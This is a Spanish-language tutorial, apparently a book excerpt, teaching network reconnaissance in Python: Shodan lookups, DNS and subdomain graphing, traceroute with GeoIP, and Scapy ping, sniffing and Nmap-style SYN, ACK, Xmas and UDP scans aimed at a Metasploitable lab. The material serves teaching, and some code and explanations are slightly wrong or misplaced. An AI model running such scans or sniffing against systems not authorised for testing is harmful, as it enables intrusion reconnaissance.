Requirement already satisfied: click in c:\users\starh\anaconda3\lib\site-packages
(from shodan) (8.1.8)
Requirement already satisfied: click-plugins in
c:\users\starh\anaconda3\lib\site-packages (from shodan) ([Link])
Requirement already satisfied: colorama in c:\users\starh\anaconda3\lib\site-packages
(from shodan) (0.4.6)
Requirement already satisfied: requests>=2.2.1 in
c:\users\starh\anaconda3\lib\site-packages (from shodan) (2.32.3)
Requirement already satisfied: XlsxWriter in c:\users\starh\anaconda3\lib\site-packages
(from shodan) (3.2.9)
Requirement already satisfied: tldextract in c:\users\starh\anaconda3\lib\site-packages
(from shodan) (5.1.2)
Requirement already satisfied: charset-normalizer<4,>=2 in
c:\users\starh\anaconda3\lib\site-packages (from requests>=2.2.1->shodan) (3.3.2)
Requirement already satisfied: idna<4,>=2.5 in
c:\users\starh\anaconda3\lib\site-packages (from requests>=2.2.1->shodan) (3.7)
Requirement already satisfied: urllib3<3,>=1.21.1 in
c:\users\starh\anaconda3\lib\site-packages (from requests>=2.2.1->shodan) (2.3.0)
Requirement already satisfied: certifi>=2017.4.17 in
c:\users\starh\anaconda3\lib\site-packages (from requests>=2.2.1->shodan) (2025.10.5)
Requirement already satisfied: requests-file>=1.4 in
c:\users\starh\anaconda3\lib\site-packages (from tldextract->shodan) (2.1.0)
Requirement already satisfied: filelock>=3.0.8 in
c:\users\starh\anaconda3\lib\site-packages (from tldextract->shodan) (3.17.0)

Ejemplo para ver información pública de una IP

In [521]:
import shodan

API_KEY = "TU_API_KEY"
api = [Link](API_KEY)

ip = "[Link]" # Google DNS, totalmente seguro

try:

204
info = [Link](ip)

print("IP:", info["ip_str"])
print("País:", [Link]("country_name"))
print("ISP:", [Link]("isp"))
print("Organización:", [Link]("org"))
print("Puertos abiertos:", [Link]("ports"))
print("\nDatos por puerto:")

for item in info["data"]:


print(f" - Puerto {item['port']} -> {[Link]('product')}")
print(" Banner:")
print(" " + [Link]("data", "").split("\n")[0])
print()

except Exception as e:
print("Error:", e)

IP: [Link]
País: United States
ISP: Google LLC
Organización: Google LLC
Puertos abiertos: [443, 53]

Datos por puerto:


- Puerto 53 -> None
Banner:

- Puerto 53 -> None


Banner:

- Puerto 443 -> None


Banner:
HTTP/1.1 200 OK

Ejemplo útil para auditoría personal

In [523]:
import shodan, requests

API_KEY = "TU_API_KEY" # token que se saca del sitio web [Link]


(es gratis)
api = [Link](API_KEY) # nos validamos en la API de shodan
web_ = "[Link] # web que quieras buscar en shodan
try:
mi_ip = [Link](web_).text # buscamos en internet y le hacemos un request al
sitio
print("Mi IP pública es:", mi_ip)

info = [Link](mi_ip) # consultamos en shodan que sabe de esta IP

print("\n¿Mi IP esta en Shodan?")

205
print("[-] Puertos abiertos:", [Link]("ports"))

except [Link] as s:
print("[x] Tu IP no aparece en Shodan (buena señal).")
except Exception as e:
print("Otro error:", e)

Mi IP pública es: [Link]


Tu IP no aparece en Shodan (buena señal).

In [89]:
# instalar libreria
!pip install dnspython

Collecting dnspython
Downloading [Link] (5.7 kB)
Downloading [Link] (331 kB)
Installing collected packages: dnspython
Successfully installed dnspython-2.8.0

In [90]:
import [Link]
import networkx as nx
import [Link] as plt

dominio = "[Link]"

respuestas = [Link](dominio, "A")


ips = [r.to_text() for r in respuestas]

G = [Link]()

# Nodo principal
G.add_node(dominio)

# Conectar dominio con cada IP


for ip in ips:
G.add_node(ip)
G.add_edge(dominio, ip)

[Link](G, with_labels=True, node_color="lightblue", node_size=1500, font_size=10)


[Link]()

206
DNS
Los DNS son súper simples de entender. Es como cuando en el celular guardas a alguien por su nombre, no
por el número. Tú pones por ejemplo Juan y el teléfono sabe que en verdad es +56 9 XXXXXXX. Bueno,
Internet hace exactamente lo mismo.

Cuando tú escribes [Link], tu computador no tiene idea de qué IP es. Entonces le pregunta al servidor
DNS, oye, ¿a qué número corresponde este nombre? y el DNS responde con la IP. Eso es todo. Nada
místico.

Lo entretenido, es que a través de DNS puedes entender hartas cosas, por ejemplo, si un sitio cambió de
infraestructura, si un dominio apunta a algo raro, si un correo está mal configurado, o incluso si un dominio se
está moviendo más de la cuenta como para sospechar algo. Por eso DNS es útil en ciberseguridad, te
muestra la ruta real de las cosas, no lo que uno cree que está pasando.

Resolver un dominio y dibujar la relación dominio con la IP

Este ejercicio es súper simple, tomas un dominio, lo resuelves y después lo dibujas como si fuera un mini
mapa mental. El dominio en el centro y las IPs como nodos alrededor. Esto sirve para entender si un dominio
apunta a una pura IP o a varias y además, entender visualmente su infraestructura.

Graficar subdominios vivos como nodos


Este ejemplo, es para ver qué subdominios existen de verdad. La idea es graficarlo como si fuera un arbolito,
el dominio principal al medio y los subdominios que contestan como ramas. Sirve para pillar servicios que
alguien quizá olvidó.

207
In [91]:
import [Link]
import networkx as nx
import [Link] as plt

dominio = "[Link]"
subdominios = ["www", "api", "vpn", "mail", "dev", "test"]

G = [Link]()
G.add_node(dominio)

for sub in subdominios:


fqdn = f"{sub}.{dominio}"
try:
[Link](fqdn, "A")
G.add_node(fqdn)
G.add_edge(dominio, fqdn)
except:
pass

[Link](G, with_labels=True, node_color="lightgreen", node_size=1500, font_size=9)


[Link]()

Grafo de tráfico desde logs: IPs:


Aquí la idea de este ejemplo es así, tienes logs donde salen IPs que hicieron consultas DNS. Lo que
hacemos es graficar las IPs como nodos a la izquierda y los dominios que pidieron a la derecha. Esto sirve
para ver de un vistazo si hay una IP que está consultando demasiados dominios raros.

In [92]:
import [Link]
import re

208
import networkx as nx
import [Link] as plt

logs = [
"Client [Link] queried [Link]",
"Client [Link] queried [Link]",
"Client [Link] queried [Link]",
]

G = [Link]()

for linea in logs:


m = [Link](r"(\d+\.\d+\.\d+\.\d+)", linea)
n = [Link](r"queried (.+)", linea)
if m and n:
ip = [Link](1)
dominio = [Link](1)
G.add_node(ip)
G.add_node(dominio)
G.add_edge(ip, dominio)

[Link](G, with_labels=True, node_size=1500, node_color="orange", font_size=9)


[Link]()

209
MX: dominio y servidores de correo
Este ejercicio te muestra cómo un dominio depende de ciertos servidores de correo. Es bacán porque
puedes ver si una empresa depende de Google, Microsoft, o servidores propios. Sirve para seguridad porque
te permite ver si alguien configuró mal los MX o los cambió de un día para otro.

In [93]:
import [Link]
import networkx as nx
import [Link] as plt

dominio = "[Link]"
mx = [Link](dominio, "MX")

G = [Link]()
G.add_node(dominio)

for r in mx:
servidor = str([Link]).rstrip(".")
G.add_node(servidor)
G.add_edge(dominio, servidor)

[Link](G, with_labels=True, node_size=1500, node_color="skyblue", font_size=10)


[Link]()

Mapa simple de infraestructura de dominio con GeoIp


Este ejemplo es más entretenido ya que resuelves el dominio a IPs, sacas el país usando una base Geo
Localización gratuita y lo dibujas como tres niveles. Esto sirve mucho para ver si un dominio está repartido en
varios países, si migró a otra región, o si de la nada apareció una IP rusa o china que no debería.

210
In [96]:
import [Link]
import requests
import networkx as nx
import [Link] as plt

dominio = "[Link]"

respuestas = [Link](dominio, "A")


ips = [r.to_text() for r in respuestas]

G = [Link]()
G.add_node(dominio)

for ip in ips:
G.add_node(ip)
G.add_edge(dominio, ip)

try:
info = [Link](f"[Link]
pais = [Link]("country_name", "Desconocido")
except:
pais = "Desconocido"

G.add_node(pais)
G.add_edge(ip, pais)

[Link](G, with_labels=True, node_size=2000, node_color="gold", font_size=9)


[Link]()

211
Graficar la ruta DNS completa CON dominio , NS , IPs:
Este ejercicio es para entender la “ruta” que sigue un dominio, a veces un problema de seguridad viene
porque los NS están mal configurados, o porque un dominio termina apuntando a servidores que nadie
recuerda.

In [97]:
import [Link]
import networkx as nx
import [Link] as plt

dominio = "[Link]"
G = [Link]()

G.add_node(dominio)

# 1. Nameservers del dominio


try:
ns_records = [Link](dominio, "NS")
ns_list = [str([Link]).rstrip('.') for r in ns_records]
except:
ns_list = []

# Conectar dominio → NS
for ns in ns_list:
G.add_node(ns)
G.add_edge(dominio, ns)

# 2. Resolver IP del NS
try:
ip_records = [Link](ns, "A")
ips = [r.to_text() for r in ip_records]
except:
ips = []

# Conectar NS → IPs
for ip in ips:
G.add_node(ip)
G.add_edge(ns, ip)

# Graficar
[Link](G, with_labels=True, node_size=1500, node_color="plum", font_size=9)
[Link]()

212
La idea es ver si los NS están distribuidos, si apuntan a IPs raras, o si están todos en el mismo proveedor (lo
cual a veces es una mala práctica).

Mapa DNS de reputación:


Este es bacán porque te permite ver si las IPs de un dominio tienen mala reputación. Graficamente se
entiende altiro, por ejemplo, del dominio salen sus IPs y de cada IP, sale un nodo que dice Bueno, Medio o
Malo. Por lo tanto este script, sirve para enseñar por qué no basta con resolver un dominio, siempre hay que
darle una segunda vuelta y hay que ver si es seguro.

Ojo: En este ejemplo uso una API pública simple sin key ([Link]), pero puedes reemplazarlo por
VirusTotal si quieres.

In [98]:
import [Link]
import requests
import networkx as nx
import [Link] as plt

dominio = "[Link]"
G = [Link]()

G.add_node(dominio)

213
# Resolver IPs del dominio
try:
respuestas = [Link](dominio, "A")
ips = [r.to_text() for r in respuestas]
except:
ips = []

# Por cada IP, consultar reputación muy básica (si está en un hosting raro)
for ip in ips:
G.add_node(ip)
G.add_edge(dominio, ip)
try:
data = [Link](f"[Link]
isp = [Link]("isp", "Desconocido")

# Si es un ISP raro, lo marcamos "Riesgoso"


if any(x in [Link]() for x in ["hosting", "vps", "unknown", "colo"]):
riesgo = "Riesgoso"
else:
riesgo = "OK"
except:
riesgo = "Desconocido"

G.add_node(riesgo)
G.add_edge(ip, riesgo)

# Dibujar
[Link](G, with_labels=True, node_size=1800, node_color="lightcoral", font_size=9)
[Link]()

Ojo: este ejemplo no es para detectar malware de verdad, pero sí para mostrar de forma gráfica cómo una IP
puede estar en una red legítima o en algo sospechoso... Es una manera visual de entender riesgo sin
explicar 20 minutos de teoría.

214
Traceroute
Traceroute es básicamente, seguir el camino que toma un paquete desde tu máquina hasta el destino, es
como cuando mandai un paquete por Chilexpress y quieres ver por dónde pasó, solo que aquí, no hay
bodegas ni sucursales, sino routers en el camino.

Lo que hace traceroute es un.... ya, voy a mandar un paquetito con un tiempo de vida muy corto, si muere
rápido, le pregunto al router que lo mató quién es y así, hop por hop, vas viendo todos los routers que hay
entre medio. Para ciberseguridad sirve mucho, porque te muestra si tu tráfico está pasando por lugares que
no deberían, o si de pronto, un proveedor mete un salto raro por otro país. También sirve para entender
cortes, latencias, problemas de red, o rutas sospechosas que aparecen en tráfico malicioso.

Traceroute simple y graficar hop to hop

Aquí lo simple para este ejemplo, hacemos traceroute a un destino y dibujamos los saltos como un caminito.
Esto nos va a servir, para ver visualmente cuántos routers hay entre medio y si de pronto aparece algo
extraño en la mitad.

In [99]:
import subprocess
import networkx as nx
import [Link] as plt

destino = "[Link]"

# Ejecutar traceroute (Linux/macOS) o tracert (Windows)


resultado = subprocess.check_output(["tracert", destino], text=True)

G = [Link]()
saltos = []

for linea in [Link]():


if "ms" in linea:
partes = [Link]()
ip = partes[-1]
[Link](ip)

# Crear grafo
for i in range(len(saltos) - 1):
G.add_node(saltos[i])
G.add_node(saltos[i+1])
G.add_edge(saltos[i], saltos[i+1])

[Link](G, with_labels=True, node_size=1500, node_color="skyblue")


[Link]()

215
Detectar saltos por país simplemente por IP.
In [148]:
import subprocess
import requests
import networkx as nx
import [Link] as plt

destino = "[Link]"

resultado = subprocess.check_output(["tracert", destino], text=True)

G = [Link]()
saltos = []

for linea in [Link]():


if "ms" in linea:
ip = [Link]()[-1]
[Link](ip)

for ip in saltos:
try:
info = [Link](f"[Link]
pais = [Link]("country_name", "Desconocido")
except:

216
pais = "Desconocido"

G.add_node(f"{ip}\n({pais})")

# Conectar hops
nodos = list([Link])
for i in range(len(nodos) - 1):
G.add_edge(nodos[i], nodos[i+1])

[Link](G, with_labels=True, node_size=2000, node_color="lightgreen", font_size=8)


[Link]()

Detectar saltos sospechosos, país o ISP raro


A veces miras el traceroute y ves que algo que debería ir por Chile o Latam y de repente, pasa por Hong
Kong o Rusia. Aquí hacemos un traceroute y marcamos en rojo los nodos que estén en países raros para
ese tráfico.

In [101]:
import subprocess
import requests
import networkx as nx
import [Link] as plt

217
destino = "[Link]"
resultado = subprocess.check_output(["tracert", destino], text=True)

G = [Link]()
saltos = []
paises_raros = ["Russia", "China", "Iran"]

for linea in [Link]():


if "ms" in linea:
ip = [Link]()[-1]
[Link](ip)

colores = []
for ip in saltos:
try:
info = [Link](f"[Link]
pais = [Link]("country_name", "Desconocido")
except:
pais = "Desconocido"

G.add_node(f"{ip}\n{pais}")

if pais in paises_raros:
[Link]("red")
else:
[Link]("lightblue")

# Conectar
nodos = list([Link])
for i in range(len(nodos) - 1):
G.add_edge(nodos[i], nodos[i+1])

[Link](G, with_labels=True, node_size=2000, node_color=colores, font_size=8)


[Link]()

218
El Internet y la Socketería
El Internet, si lo sacamos del humo técnico, es básicamente un conjunto de computadores hablando entre sí,
eso es todo.... No es magia negra, no es Matrix, no es nada raro, son máquinas diciéndose:

●​ Oye, ¿me escuchas?


●​ Sí, dale, mándame el archivo.

Pero claro, los computadores no pueden decir ¿hola, ¿cómo estás?... entonces usan puertos, sockets y
protocolos para poder comunicarse sin pelearse ni quedar desordenados.

Para mí entender Internet, es más simple si lo imaginas como una ciudad. Cada IP es un edificio, así tal cual,
una dirección donde vive un servidor o un computador. Y dentro de ese edificio hay departamentos, que son
los puertos. Entonces cuando un computador quiere hablar con otro, no basta con saber el edificio, también
tienes que saber el departamento al que vas a tocarle la puerta. Ese es el esquema básico que se repite
siempre.

La gracia es que las puertas no siempre están abiertas... Algunas están cerradas, otras tienen reja, otras
tienen guardias y otras ni suenan, porque el firewall las tapa. Ahí aparece esta palabra rara, “socketería”, que
al final no es más que una puerta abierta en un departamento esperando que alguien toque. Un socket
escuchando significa que hay un servicio adentro atendiendo. Si nadie está escuchando, da lo mismo
cuántas veces golpees, no va a pasar nada.

Cuando tu computador quiere mandar algo, abre su propia puerta local, algo como el 55123 o cualquier
puerto dinámico que use. Después sale a la calle y antes de hacer cualquier cosa, le pregunta al DNS dónde
queda el edificio al que quiere llegar. DNS es como preguntarle al Waze del barrio... “oye, ¿dónde está tal
edificio?”. Cuando le responden, tu paquete empieza a avanzar por routers que son como carteros pasando
la carta de mano en mano. Ninguno piensa mucho, solo miran la dirección y dicen... ya, esto va por allá....
Eso es literalmente lo que hace traceroute, te muestra por qué calles pasó tu carta antes de llegar.

Cuando finalmente llega al edificio, recién ahí se intenta subir al departamento. Y ahí viene lo entretenido... si
la puerta está abierta (o sea, el puerto tiene un servicio escuchando), te responde con un saludo y se arma la
conversación. Si está cerrada, te contesta rápido con un “no, gracias” (el famoso RST). Si está filtrada por
firewall, ni siquiera te responde, como cuando tocas un timbre y nadie sabe si están o no están.

Todo lo que viene después en ciberseguridad se apoya en esta idea súper simple. Escanear puertos es
literalmente ir golpeando puertas para ver cuáles responden. Nmap se dedica a interpretar cómo responde
cada puerta. Scapy es como construir tu propia carta a mano, escrita al estilo que quieras, para ver cómo
reacciona el edificio. Metasploitable es un conjunto de puertas viejas y mal cerradas donde tú puedes

219
practicar sin hacerle daño a nadie. Los brute force no son más que probar llaves en la misma cerradura. Y un
firewall puede bloquear la calle entera, el edificio, el departamento o simplemente tirar tu carta a la basura sin
avisarte.

Cuando entiendes esto, entiendes la red. Y cuando entiendes la red, te hace mucho más fácil todo lo demás
que viene después, porque ya no ves paquetes ni protocolos como cosas abstractas, sino como gente
moviéndose dentro de una ciudad digital.

Sockets
Los sockets son una de esas cosas que la gente complica de más, cuando en verdad son ridículamente
simples si los miras con la metáfora correcta. Ya tienes la idea de que las IP son los edificios y los puertos
son los departamentos, ¿cierto? Bueno, el socket es básicamente cuando alguien adentro del departamento
abre la puerta y dice... ya, aquí estoy, si alguien toca el timbre yo atiendo..... Eso es todo. No tiene nada
místico.

Imagínate esto, tú puedes vivir en el departamento 22 (SSH), pero si no abres la puerta, nadie puede hablar
contigo. Sigues existiendo, sigue estando el departamento ahí, pero está cerrado. Los sockets son cuando el
servicio dice explícitamente “estoy escuchando”. O sea, la puerta está abierta, hay luz prendida y hay alguien
esperando que toquen.

Y lo más interesante es que un socket no es solo una puerta abierta, sino que es una conversación que se
abre entre dos departamentos. No es solo el servidor el que tiene que abrir su puerta.... tu computador,
cuando quiere hablar, también abre una puerta temporal ...un puerto local... que sería como un departamento
improvisado del que tú sales para ir a tocar al otro edificio. Entonces la conversación es entre dos
departamentos... uno del lado cliente, uno del lado servidor. Eso es el socket, esa conexión viva entre ambas
puertas mientras hablan.

Cuando se establece la conexión, quedan como dos personas apoyadas en sus respectivos marcos de
puerta, conversando de lado a lado. Cuando se cierra, es como que ambos dicen... ya, bacán, hablamos... y
cierran la puerta. No es más complicado que eso. Todo lo que ocurre en el medio del Internet.... los routers,
DNS, firewall, etc... solo se encargan de que tu mensaje llegue al edificio correcto. Pero la conversación real
ocurre puerta con puerta. Socket con socket.

Por eso en seguridad se habla tanto de sockets abiertos, sockets escuchando, sockets colgados, sockets
zombis… todo es la misma idea, puertas que quedaron abiertas, sin cerrar bien, o que no deberían haber
estado abiertas en primer lugar. Cuando escaneas un puerto, en realidad estás buscando sockets... estás
golpeando departamentos para ver quién te abre. Cuando haces un ataque controlado, pruebas si un servicio

220
que no debería estar escuchando… está escuchando igual. Y cuando programas algo en Python, un socket
es la forma más básica de decir... quiero conversar con alguien por la red.

La gracia de entender esto, es que te deja de dar miedo la palabra “socket”. Porque al final es eso dos
puertas abiertas que se conectan y conversan mientras dure la comunicación. Cuando lo ves así, todo se
ordena, todo te hace sentido y entender Scapy, Nmap, Netcat o incluso Wireshark se vuelve mucho más
natural. No son herramientas mágicas, solo miran cómo se abren, conversan y cierran estas puertas
digitales.

Scapy
Piensa Scapy así, es como si te dieran poderes de cartero digital y no solo puedes mandar cartas por la red,
sino que puedes armar tú mismo el sobre, escribir lo que quieras dentro, elegir la ruta, e incluso ver cómo te
responde el edificio, nada complejo, tú controlas el paquete.

Ahora, déjame mezclar la idea anterior de los edificios (IP), los departamentos (puertos), las puertas
(sockets) con ejercicios concretos en Scapy. La gracia, es que cada ejercicio, te ayuda a mirar la red como
algo vivo, no como algo abstracto y técnico.

Primero, el clásico, ver si un edificio está vivo. Es como preguntarle al conserje ¿hay alguien ahí?. En Scapy
eso se hace con ICMP, el famoso ping, pero a tu gusto.

In [143]:
!pip install scapy

Collecting scapy
Downloading [Link] (5.6 kB)
Downloading [Link] (2.4 MB)
---------------------------------------- 0.0/2.4 MB ? eta -:--:--
---------------------------------------- 2.4/2.4 MB 25.8 MB/s eta 0:00:00
Installing collected packages: scapy
Successfully installed scapy-2.6.1

In [149]:
from [Link] import *

destino = "[Link]" # un edificio conocido en Internet

paquete = IP(dst=destino)/ICMP() #paquete ICMP


respuesta = sr1(paquete, timeout=2)

if respuesta:
print(f"[ -> ] El edificio {destino} responde [OK] .")
else:

221
print("[X] No respondio nadie. Puede haber firewall, caída, o simplemente
silencio.")

Received 6 packets, got 1 answers, remaining 0 packets


[ -> ] El edificio [Link] responde [OK] .

Lo que estás haciendo acá es bien simple... preparas una carta que dice ping, la mandas al edificio y esperas
a ver si vuelve algo(True). No estás tocando ningún departamento todavía, solo viendo si el edificio como tal
existe y contesta.

Ahora que sabes que el edificio existe, pasas al siguiente paso lógico... empezar a tocar puertas, ese es el
mundo del escaneo de puertos. Y aquí Scapy te deja hacer eso con absoluto control. Por ejemplo, el famoso
SYN scan, que es como tocar el timbre y arrancarse antes de entrar. No completas la conversación, solo ves
si te abren.

In [150]:
from [Link] import *

ip = "[Link]" # por ejemplo, tu Metasploitable


puertos = [21, 22, 23, 80, 443, 3306]

for p in puertos:
syn = IP(dst=ip)/TCP(dport=p, flags="S") # S de SYN
resp = sr1(syn, timeout=0.5, verbose=0)

if resp is None:
print(f"[-] Puerto {p}: silencio total, puede haber firewall o nada
escuchando.")
elif [Link](TCP):
if resp[TCP].flags == "SA":
print(f"[-] Puerto {p}: abierto")
elif resp[TCP].flags == "RA":
print(f"[x] Puerto {p}: cerrado")
else:
print(f"[-] Puerto {p}: respuesta rara, flags = {resp[TCP].flags}")
else:
print(f"[-] Puerto {p}: responde algo que no es TCP, medio extraño.")

[-] Puerto 21: abierto


[-] Puerto 22: abierto
[-] Puerto 23: abierto
[-] Puerto 80: abierto
[x] Puerto 443: cerrado
[-] Puerto 3306: abierto

Acá ya se mezcla bonito con la metáfora, en el mismo edificio, hay varios departamentos, y tú vas puerta por
puerta viendo quién te contesta y cómo. Esa respuesta es la que después un analista mira y dice ok, este
servicio está expuesto, este no, aquí hay firewall, acá no.

222
Otro punto clave para la ciberseguridad es aprender a escuchar la calle. No solo mandar cartas, sino
quedarte parado un rato mirando el tránsito de gente. Eso es hacer sniffing. Scapy ahí también se luce,
porque puedes decir muéstrame quién le habla a quién, casi como ver un chisme en vivo de la red.

In [151]:
from [Link] import *

def mostrar(pkt):
if [Link](IP):
print(f"{pkt[IP].src} → {pkt[IP].dst}")

print("Escuchando 10 paquetes IP que pasen por la calle...")


sniff(prn=mostrar, count=10)

Escuchando 10 paquetes IP que pasen por la calle...


[Link] → [Link]
[Link] → [Link]

Out[151]:
<Sniffed: TCP:6 UDP:4 ICMP:0 Other:0>

Este ejercicio es lindo porque dejan súper claro que la red no es una cosa estática... son constantes
conversaciones entre edificios, a veces internas, a veces hacia afuera t tú, desde tu máquina, te conviertes
en observador de la red.

Hay otro ejercicio que me gusta porque muestra algo muy típico en laboratorios, el cómo se ve cuando
alguien camina de edificio en edificio preguntando por la ruta. Eso es traceroute, pero hecho a mano. Acá no
estás mirando puertos, sino el camino que recorre tu paquete antes de llegar a destino. Es perfecto para
entender que Internet no es un túnel directo, sino una cadena de saltos.

In [152]:
from [Link] import *

destino = "[Link]"

for ttl in range(1, 20):


pkt = IP(dst=destino, ttl=ttl)/ICMP() # creas el paquete TCP / ICMP
resp = sr1(pkt, timeout=1, verbose=0) # guardas la respuesta

if resp is None:
print(f"[x] {ttl} * (sin respuesta)")
else:
print(f"{ttl} {resp[IP].src}")
if resp[IP].src == destino:
print("[-] Llegamos al edificio final.")
break

223
1 [Link]
2 [Link]
3 [Link]
4 [Link]
5 [Link]
6 [Link]
7 [Link]
8 [Link]
9 [Link]
10 [Link]
[-] Llegamos al edificio final.

Ver esto corrido es casi terapéutico, ves cada barrio por el que pasa tu carta antes de llegar al edificio final. Y
en el contexto de ciberseguridad, también te sirve para entender dónde podría estar metido un firewall, o en
qué salto se empieza a cortar todo.

Y si ya quieres empezar a mezclar más la historia con tu lado ofensivo/defensivo, puedes usar Scapy para
generar tráfico que parezca sospechoso, pero dentro de un entorno controlado como Metasploitable. Por
ejemplo, mandar muchos SYN a un puerto específico para ver cómo reaccionan tus defensas o tus
dashboards, pero siempre en tu lab, sin molestar a nadie.

In [161]:
from [Link] import *
import time

ip = "[Link]" # tu lab METASPLOITABLE 2


puerto = 22 # SSH, por ejemplo

for i in range(5):
syn = IP(dst=ip)/TCP(dport=puerto, flags="S")
send(syn, verbose=2)
print(f"SYN #{i+1} enviado al puerto {puerto}")
[Link](0.2)

Sent 1 packets.
SYN #1 enviado al puerto 22

Sent 1 packets.
SYN #2 enviado al puerto 22

Sent 1 packets.
SYN #3 enviado al puerto 22

Sent 1 packets.
SYN #4 enviado al puerto 22

Sent 1 packets.
SYN #5 enviado al puerto 22

224
Esto no es para hacer daño, es para ver cómo ves tú mismo este tráfico en tu SIEM, en tus logs o en tus
herramientas. Es como jugar a ser el atacante y el defensor al mismo tiempo, pero con un entorno de
mentira, donde puedes equivocarte tranquilo.

Nmap desde Scapy


Nmap es básicamente un conjunto de técnicas para tocar puertas (puertos) de distintas maneras y ver cómo
responde el edificio (IP). Lo que cambia entre técnica y técnica es cómo tocas la puerta y cómo interpretas lo
que el edificio te contesta o no te contesta.

1.​ TCP Connect Scan

Este es el escaneo más humano, tú vas, tocas la puerta, y esperas que te abran, es como hacer la fila
normal en una oficina, sin saltarse la fila.

Así funciona:

●​ Tu computador dice: [SYN] --> ¿te puedo hablar?


●​ El puerto responde: [SYN/ACK] --> sí, pasa.
●​ Tú dices: [ACK] --> listo, conversamos.

Eso es literalmente hacer una conexión completa, igual que un navegador cuando vas a un sitio web.

In [160]:
from [Link] import *
ip = "[Link]"
puerto = 22

pkt = IP(dst=ip)/TCP(dport=puerto, flags="S")


resp = sr1(pkt, timeout=1)

if resp and resp[TCP].flags == "SA":


print("[ - ] Open Port .")

225
else:
print("[ - ] Close Port .")

Received 7 packets, got 1 answers, remaining 0 packets


[ - ] Open Port .

2.​ TCP SYN Scan

Este es el famoso SYN Scan de Nmap, Es como tocar el timbre y arrancarte:

●​ Tú envías SYN.
●​ Si responden [SYN/ACK] --> está abierto.
●​ Si responden [RST] --> está cerrado.
●​ Si no responden --> firewall o silencio voluntario.

No completas la conexión, por eso es más eficiente y más difícil de rastrear.

Ese lo vimos antes, es este:

In [165]:
from [Link] import *

target = "[Link]"
ports = [21, 22, 23, 25, 80, 139, 445, 3306] # algunos clásicos para Metasploitable 2

pkt = IP(dst=target)/TCP(dport=ports, flags="S")


ans, unans = sr(pkt, timeout=2, verbose=0)

for sent, received in ans:


tcp_layer = [Link](TCP)
dport = [Link]

if tcp_layer.flags & 0x12: # SYN(0x02) + ACK(0x10) = 0x12


print(f"{target} [OPEN ] TCP {dport}/tcp ")
elif tcp_layer.flags & 0x14: # RST(0x04) + ACK(0x10) = 0x14
print(f"{target} [CLOSED] TCP {dport}/tcp ")

for sent in unans:


print(f"{target} [FILTERED] TCP {[Link]}/tcp (posible firewall)")

[Link] [OPEN ] TCP 21/tcp


[Link] [OPEN ] TCP 22/tcp
[Link] [OPEN ] TCP 23/tcp
[Link] [OPEN ] TCP 25/tcp
[Link] [OPEN ] TCP 80/tcp
[Link] [OPEN ] TCP 139/tcp
[Link] [OPEN ] TCP 445/tcp
[Link] [OPEN ] TCP 3306/tcp

Es el famoso scan tipo Nmap -sS. Mandas un SYN, si te contestan SYN/ACK, el puerto está abierto... si te
responden con RST, está cerrado.

226
3.​ TCP ACK Scan

Aquí no te importa tanto si el puerto está abierto o cerrado, sino si hay un firewall filtrando. Mandas un ACK y
ves cómo responde.

In [166]:
from [Link] import *

target = "[Link]"
ports = [22, 80, 139, 445]

pkt = IP(dst=target)/TCP(dport=ports, flags="A")


ans, unans = sr(pkt, timeout=2, verbose=0)

for sent, received in ans:


dport = [Link]
tcp_layer = [Link](TCP)

if tcp_layer.flags & 0x4: # RST


print(f"[UNFILTERED] TCP {dport}/tcp NO filtrado (RST recibido)")
else:
print(f"[??] TCP {dport}/tcp indeterminado flags={tcp_layer.flags}")

for sent in unans:


print(f"[FILTERED] TCP {[Link]}/tcp (probable firewall)")

[UNFILTERED] TCP 22/tcp NO filtrado (RST recibido)


[UNFILTERED] TCP 80/tcp NO filtrado (RST recibido)
[UNFILTERED] TCP 139/tcp NO filtrado (RST recibido)
[UNFILTERED] TCP 445/tcp NO filtrado (RST recibido)

Es el famoso scan tipo Nmap -sS. Mandas un SYN, si te contestan SYN/ACK, el puerto está abierto... si te
responden con RST, está cerrado.

4.​ TCP Xmas Scan

El Xmas scan prende varios flags a la vez (FPU = FIN, PSH, URG). En algunos stacks TCP viejos, los
puertos cerrados responden con RST y los abiertos se quedan callados.

In [169]:
from [Link] import *

target = "[Link]"
ports = [21, 22, 23, 80, 139, 445]

pkt = IP(dst=target)/TCP(dport=ports, flags="FPU")


ans, unans = sr(pkt, timeout=2, verbose=0)

for sent, received in ans:


dport = [Link]
tcp_layer = [Link](TCP)

227
if tcp_layer.flags & 0x4: # RST
print(f"[CLOSED] TCP {dport}/tcp cerrado (RST en Xmas scan)")

for sent in unans:


print(f"[OPEN|FILTERED] TCP {[Link]}/tcp sin respuesta (abierto o filtrado)")

[OPEN|FILTERED] TCP 21/tcp sin respuesta (abierto o filtrado)


[OPEN|FILTERED] TCP 22/tcp sin respuesta (abierto o filtrado)
[OPEN|FILTERED] TCP 23/tcp sin respuesta (abierto o filtrado)
[OPEN|FILTERED] TCP 80/tcp sin respuesta (abierto o filtrado)
[OPEN|FILTERED] TCP 139/tcp sin respuesta (abierto o filtrado)
[OPEN|FILTERED] TCP 445/tcp sin respuesta (abierto o filtrado)

5.​ UDP Scan

UDP es más complejo, muchos servicios no responden si el puerto está abierto.

Lo normal es:

●​ Si recibes ICMP port unreachable --> cerrado.


●​ Si no recibes nada --> open | filtered (abierto o un firewall se comió el paquete).
In [170]:
from [Link] import *

target = "[Link]"
ports = [22, 53, 69, 161, 9999] # algunos típicos UDP para probar

pkt = IP(dst=target)/UDP(dport=ports)
ans, unans = sr(pkt, timeout=3, verbose=0)

for sent, received in ans:


dport = [Link]
if [Link](ICMP):
icmp_layer = [Link](ICMP)
# ICMP type 3 code 3 = Port Unreachable
if icmp_layer.type == 3 and icmp_layer.code == 3:
print(f"[CLOSED] UDP {dport}/udp cerrado (ICMP port unreachable)")
else:
print(f"[ICMP ] UDP {dport}/udp ICMP type={icmp_layer.type}
code={icmp_layer.code}")
else:
print(f"[RESPUESTA] UDP {dport}/udp respondió (posiblemente abierto)")

for sent in unans:


print(f"[OPEN|FILTERED] UDP {[Link]}/udp sin respuesta (abierto o filtrado)")

[CLOSED] UDP 22/udp cerrado (ICMP port unreachable)


[CLOSED] UDP 161/udp cerrado (ICMP port unreachable)
[CLOSED] UDP 9999/udp cerrado (ICMP port unreachable)
[OPEN|FILTERED] UDP 53/udp sin respuesta (abierto o filtrado)
[OPEN|FILTERED] UDP 69/udp sin respuesta (abierto o filtrado)

228
Tablas de Ayuda Flags TCP

Tabla de respuesta TCP según el scan

Tabla de Códigos ICMP

Tabla de Estados de puertos que verás en Nmap/Scapy

¿ Qué hace pkt = IP(...)/TCP(...) ?

Scapy usa el operador / para apilar capas de red, es como poner una carta dentro de un sobre y después
